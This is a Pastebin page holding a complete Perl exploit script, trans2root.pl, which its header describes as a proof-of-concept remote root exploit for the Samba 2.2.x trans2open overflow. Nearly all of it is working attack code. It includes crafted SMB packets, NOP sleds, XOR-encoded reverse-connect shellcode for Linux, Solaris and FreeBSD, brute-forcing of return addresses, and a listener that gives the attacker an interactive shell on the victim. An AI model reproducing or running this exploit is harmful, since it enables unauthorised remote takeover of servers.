API tools faq
paste
cybercode

trans2root.pl

cybercode
Nov 10th, 2011
261
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 12.19 KB | None | 0 0
raw download clone embed print report
  1. # file name: trans2root.pl
  2.  
  3. #!/usr/bin/perl
  4. ###############
  5.  
  6. ##[ Header
  7. # Name: trans2root.pl
  8. # Purpose: Proof of concept exploit for Samba 2.2.x (trans2open overflow)
  9. # Author: H D Moore <[email protected]>
  10. # Copyright: Copyright (C) 2003 Digital Defense Inc.
  11. # trans2root.pl <options> -t <target type> -H <your ip> -h <target ip>
  12. ##
  13.  
  14. use strict;
  15. use Socket;
  16. use IO::Socket;
  17. use IO::Select;
  18. use POSIX;
  19. use Getopt::Std;
  20.  
  21. $SIG{USR2} = \&GoAway;
  22.  
  23. my %args;
  24. my %targets =
  25. (
  26.  "linx86" => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
  27.  "solx86" => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
  28.  "fbsdx86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
  29.  # name # default # start # end # step # function
  30. );
  31.  
  32. getopt('t:M:h:p:r:H:P:', \%args);
  33.  
  34. my $target_type = $args{t} || Usage();
  35. my $target_host = $args{h} || Usage();
  36. my $local_host = $args{H} || Usage();
  37. my $local_port = $args{P} || 1981;
  38. my $target_port = $args{p} || 139;
  39.  
  40. my $target_mode = "brute";
  41.  
  42. if (! exists($targets{$target_type})) { Usage(); }
  43. print "[*] Using target type: $target_type\n";
  44.  
  45. # allow single mode via the -M option
  46. if ($args{M} && uc($args{M}) eq "S")
  47. {
  48.  $target_mode = "single";
  49. }
  50.  
  51. # the parent process listens for an incoming connection
  52. # the child process handles the actual exploitation
  53. my $listen_pid = $$;
  54. my $exploit_pid = StartListener($local_port);
  55.  
  56. # get the default return address for single mode
  57. my $targ_ret = $args{r} || $targets{$target_type}->[0];
  58. my $curr_ret;
  59. $targ_ret = eval($targ_ret);
  60.  
  61. if ($target_mode !~ /brute|single/)
  62. {
  63.  print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
  64.  exit(0);
  65. }
  66.  
  67.  
  68. if ($target_mode eq "single")
  69. {
  70.  $curr_ret = $targ_ret;
  71.  if(! $targ_ret)
  72.  {
  73.  print "[*] Invalid return address specified!\n";
  74.  kill("USR2", $listen_pid);
  75.  exit(0);
  76.  }
  77.  
  78.  print "[*] Starting single shot mode...\n";
  79.  printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
  80.  my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
  81.  my $ret = AttemptExploit($target_host, $target_port, $buf);
  82.  
  83.  sleep(2);
  84.  kill("USR2", $listen_pid);
  85.  exit(0);
  86. }
  87.  
  88.  
  89. if ($target_mode eq "brute")
  90. {
  91.  print "[*] Starting brute force mode...\n";
  92.  
  93.  for (
  94.  $curr_ret =$targets{$target_type}->[1];
  95.  $curr_ret >= $targets{$target_type}->[2];
  96.  $curr_ret -=$targets{$target_type}->[3]
  97.  )
  98.  {
  99.  select(STDOUT); $|++;
  100.  my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
  101.  printf (" \r[*] Return Address: 0x%.8x", $curr_ret);
  102.  my $ret = AttemptExploit($target_host, $target_port, $buf);
  103.  }
  104.  sleep(2);
  105.  kill("USR2", $listen_pid);
  106.  exit(0);
  107. }
  108.  
  109. sub Usage {
  110.  
  111.  print STDERR "\n";
  112.  print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
  113.  print STDERR "===================================\n\n";
  114.  print STDERR " Usage: \n";
  115.  print STDERR " $0 <options> -t <target type> -H <your ip> -h <target ip>\n";
  116.  print STDERR " Options: \n";
  117.  print STDERR " -M (S|B) <single or brute mode>\n";
  118.  print STDERR " -r <return address for single mode>\n";
  119.  print STDERR " -p <alternate Samba port>\n";
  120.  print STDERR " -P <alternate listener port>\n";
  121.  print STDERR " Targets:\n";
  122.  foreach my $type (keys(%targets))
  123.  {
  124.  print STDERR " $type\n";
  125.  }
  126.  print STDERR "\n";
  127.  
  128.  
  129.  exit(1);
  130. }
  131.  
  132.  
  133. sub StartListener {
  134.  my ($local_port) = @_;
  135.  my $listen_pid = $$;
  136.  
  137.  my $s = IO::Socket::INET->new (
  138.  Proto => "tcp",
  139.  LocalPort => $local_port,
  140.  Type => SOCK_STREAM,
  141.  Listen => 3,
  142.  ReuseAddr => 1
  143.  );
  144.  
  145.  if (! $s)
  146.  {
  147.  print "[*] Could not start listener: $!\n";
  148.  exit(0);
  149.  }
  150.  
  151.  print "[*] Listener started on port $local_port\n";
  152.  
  153.  my $exploit_pid = fork();
  154.  if ($exploit_pid)
  155.  {
  156.  my $victim;
  157.  $SIG{USR2} = \&GoAway;
  158.  
  159.  while ($victim = $s->accept())
  160.  {
  161.  kill("USR2", $exploit_pid);
  162.  print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerport . "\n\n";
  163.  StartShell($victim);
  164.  }
  165.  exit(0);
  166.  }
  167.  return ($exploit_pid);
  168. }
  169.  
  170. sub StartShell {
  171.  my ($client) = @_;
  172.  my $sel = IO::Select->new();
  173.  
  174.  Unblock(*STDIN);
  175.  Unblock(*STDOUT);
  176.  Unblock($client);
  177.  
  178.  select($client); $|++;
  179.  select(STDIN); $|++;
  180.  select(STDOUT); $|++;
  181.  
  182.  $sel->add($client);
  183.  $sel->add(*STDIN);
  184.  
  185.  print $client "echo \\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
  186.  print $client "echo \n";
  187.  
  188.  while (fileno($client))
  189.  {
  190.  my $fd;
  191.  my @fds = $sel->can_read(0.2);
  192.  
  193.  foreach $fd (@fds)
  194.  {
  195.  my @in = <$fd>;
  196.  
  197.  if(! scalar(@in)) { next; }
  198.  
  199.  if (! $fd || ! $client)
  200.  {
  201.  print "[*] Closing connection.\n";
  202.  close($client);
  203.  exit(0);
  204.  }
  205.  
  206.  if ($fd eq $client)
  207.  {
  208.  print STDOUT join("", @in);
  209.  } else {
  210.  print $client join("", @in);
  211.  }
  212.  }
  213.  }
  214.  close ($client);
  215. }
  216.  
  217. sub AttemptExploit {
  218.  my ($Host, $Port, $Exploit) = @_;
  219.  my $res;
  220.  
  221.  my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type
  222.  => SOCK_STREAM, Protocol => "tcp");
  223.  
  224.  if (! $s)
  225.  {
  226.  print "\n[*] Error: could not connect: $!\n";
  227.  kill("USR2", $listen_pid);
  228.  exit(0);
  229.  }
  230.  
  231.  select($s); $|++;
  232.  select(STDOUT); $|++;
  233.  Unblock($s);
  234.  
  235.  my $SetupSession =
  236.  "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08".
  237.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  238.  "\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01".
  239.  "\x00\x00\x00\x00";
  240.  
  241.  my $TreeConnect =
  242.  "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00".
  243.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00".
  244.  "\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24".
  245.  "\x25\x6e\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50".
  246.  "\x43\x24";
  247.  
  248.  my $Flush = ("\x00" x 808);
  249.  
  250.  print $s $SetupSession;
  251.  $res = ReadResponse($s);
  252.  
  253.  print $s $TreeConnect;
  254.  $res = ReadResponse($s);
  255.  
  256.  # uncomment this for diagnostics
  257.  #print "[*] Press Enter to Continue...\n";
  258.  #$res = <STDIN>;
  259.  
  260.  #print "[*] Sending Exploit Buffer...\n";
  261.  
  262.  print $s $Exploit;
  263.  print $s $Flush;
  264.  
  265.  ReadResponse($s);
  266.  close($s);
  267. }
  268.  
  269. sub CreateBuffer_linx86 {
  270.  my ($Host, $Port, $Return) = @_;
  271.  
  272.  my $RetAddr = eval($Return);
  273.  $RetAddr = pack("l", $RetAddr);
  274.  
  275.  my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
  276.  $a1 = chr(ord($a1) ^ 0x93);
  277.  $a2 = chr(ord($a2) ^ 0x93);
  278.  $a3 = chr(ord($a3) ^ 0x93);
  279.  $a4 = chr(ord($a4) ^ 0x93);
  280.  
  281.  my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
  282.  $p1 = chr(ord($p1) ^ 0x93);
  283.  $p2 = chr(ord($p2) ^ 0x93);
  284.  
  285.  my $exploit =
  286.  # trigger the trans2open overflow
  287.  "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  288.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  289.  "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  290.  "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  291.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  292.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
  293.  
  294.  GetNops(772) .
  295.  
  296.  # xor decoder courtesy of hsj
  297.  "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  298.  "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  299.  "\x93\x40\xe2\xfa".
  300.  
  301.  # reverse-connect, mangled lamagra code + fixes
  302.  "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b".
  303.  "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a".
  304.  "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d".
  305.  $p1.$p2 ."\x54\xd6\x63". $a1.$a2.$a3.$a4.
  306.  "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67".
  307.  "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e".
  308.  "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b".
  309.  "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60".
  310.  "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa".
  311.  "\xfd\xbc\xe0\xfb".
  312.  
  313.  GetNops(87).
  314.  
  315.  ($RetAddr x 8).
  316.  
  317.  "DDI!". ("\x00" x 277);
  318.  
  319.  return $exploit;
  320. }
  321.  
  322. sub CreateBuffer_solx86 {
  323.  my ($Host, $Port, $Return) = @_;
  324.  
  325.  my $RetAddr = eval($Return);
  326.  my $IckAddr = $RetAddr - 512;
  327.  
  328.  $RetAddr = pack("l", $RetAddr);
  329.  $IckAddr = pack("l", $IckAddr);
  330.  
  331.  # IckAddr needs to point to a writable piece of memory
  332.  
  333.  my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
  334.  $a1 = chr(ord($a1) ^ 0x93);
  335.  $a2 = chr(ord($a2) ^ 0x93);
  336.  $a3 = chr(ord($a3) ^ 0x93);
  337.  $a4 = chr(ord($a4) ^ 0x93);
  338.  
  339.  my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
  340.  $p1 = chr(ord($p1) ^ 0x93);
  341.  $p2 = chr(ord($p2) ^ 0x93);
  342.  
  343.  my $exploit =
  344.  # trigger the trans2open overflow
  345.  "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  346.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  347.  "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  348.  "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  349.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  350.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
  351.  
  352.  GetNops(813) .
  353.  
  354.  # xor decoder courtesy of hsj
  355.  "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  356.  "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  357.  "\x93\x40\xe2\xfa".
  358.  
  359.  # reverse-connect, code by bighawk
  360.  "\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3\xa2\x53\x23\x09\xc3\x1a\x76\xa2".
  361.  "\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75\x6c\x46\xa2\x41\x1a\x54\xfb".
  362.  $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
  363.  "\xf5\xc2\x1a\x75\xf9\x83\xc5\xc4\x23\x78\x6c\x46\xa2\x41\x21\x9a".
  364.  "\xc2\xc1\xc4\x23\xad\x6c\x46\xda\xea\x61\xc3\xfb\xbc\xbc\xe0\xfb".
  365.  "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc3\xc0\x1a\x71\xc3\xc1\xc0\x23\xa8".
  366.  "\x6c\x46".
  367.  
  368.  GetNops(87) .
  369.  
  370.  "010101".
  371.  $RetAddr.
  372.  $IckAddr.
  373.  $RetAddr.
  374.  $IckAddr.
  375.  "101010".
  376.  
  377.  "DDI!". ("\x00" x 277);
  378.  
  379.  return $exploit;
  380. }
  381.  
  382. sub CreateBuffer_bsdx86 {
  383.  my ($Host, $Port, $Return) = @_;
  384.  
  385.  my $RetAddr = eval($Return);
  386.  my $IckAddr = $RetAddr - 512;
  387.  
  388.  $RetAddr = pack("l", $RetAddr);
  389.  $IckAddr = pack("l", $IckAddr);
  390.  
  391.  # IckAddr needs to point to a writable piece of memory
  392.  
  393.  my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
  394.  $a1 = chr(ord($a1) ^ 0x93);
  395.  $a2 = chr(ord($a2) ^ 0x93);
  396.  $a3 = chr(ord($a3) ^ 0x93);
  397.  $a4 = chr(ord($a4) ^ 0x93);
  398.  
  399.  my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
  400.  $p1 = chr(ord($p1) ^ 0x93);
  401.  $p2 = chr(ord($p2) ^ 0x93);
  402.  
  403.  my $exploit =
  404.  # trigger the trans2open overflow
  405.  "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  406.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  407.  "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  408.  "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  409.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  410.  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
  411.  
  412.  GetNops(830) .
  413.  
  414.  # xor decoder courtesy of hsj
  415.  "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  416.  "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  417.  "\x93\x40\xe2\xfa".
  418.  
  419.  # reverse-connect, code by bighawk
  420.  "\xa2\x5a\x64\x72\xc2\xd2\xc2\xd2\xc2\xc2\x23\xf2\x5e\x13\x1a\x50".
  421.  "\xfb". $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
  422.  "\xf5\xc2\x1a\x75\x21\x83\xc1\xc5\xc3\xc3\x23\xf1\x5e\x13\xd2\x23".
  423.  "\xc9\xda\xc2\xc0\xc0\x5e\x13\xd2\x71\x66\xc2\xfb\xbc\xbc\xe0\xfb".
  424.  "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc2\xc7\xc0\xc0\x23\xa8\x5e\x13".
  425.  
  426.  GetNops(87) .
  427.  
  428.  "010101".
  429.  $RetAddr.
  430.  $IckAddr.
  431.  $RetAddr.
  432.  $IckAddr.
  433.  "101010".
  434.  
  435.  "DDI!". ("\x00" x 277);
  436.  
  437.  return $exploit;
  438. }
  439.  
  440. sub Unblock {
  441.  my $fd = shift;
  442.  my $flags;
  443.  $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
  444.  fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
  445. }
  446.  
  447. sub GoAway {
  448.  exit(0);
  449. }
  450.  
  451. sub ReadResponse {
  452.  my ($s) = @_;
  453.  my $sel = IO::Select->new($s);
  454.  my $res;
  455.  my @fds = $sel->can_read(4);
  456.  foreach (@fds) { $res .= <$s>; }
  457.  return $res;
  458. }
  459.  
  460. sub HexDump {
  461.  my ($data) = @_;
  462.  my @x = split(//, $data);
  463.  my $cnt = 0;
  464.  
  465.  foreach my $h (@x)
  466.  {
  467.  if ($cnt > 16)
  468.  {
  469.  print "\n";
  470.  $cnt = 0;
  471.  }
  472.  
  473.  printf("\\x%.2x", ord($h));
  474.  $cnt++;
  475.  }
  476.  print "\n";
  477. }
  478.  
  479. # thank you k2 ;)
  480. sub GetNops {
  481.  my ($cnt) = @_;
  482.  my @nops = split(//,"\x99\x96\x97\x95\x93\x91\x90\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97".
  483.  "\x46\x4e\xf8\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b".
  484.  "\xf5\x45\x4c");
  485.  return join ("", @nops[ map { rand @nops } ( 1 .. $cnt )]);
  486. }
  487.  
  488.  
  489.  
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!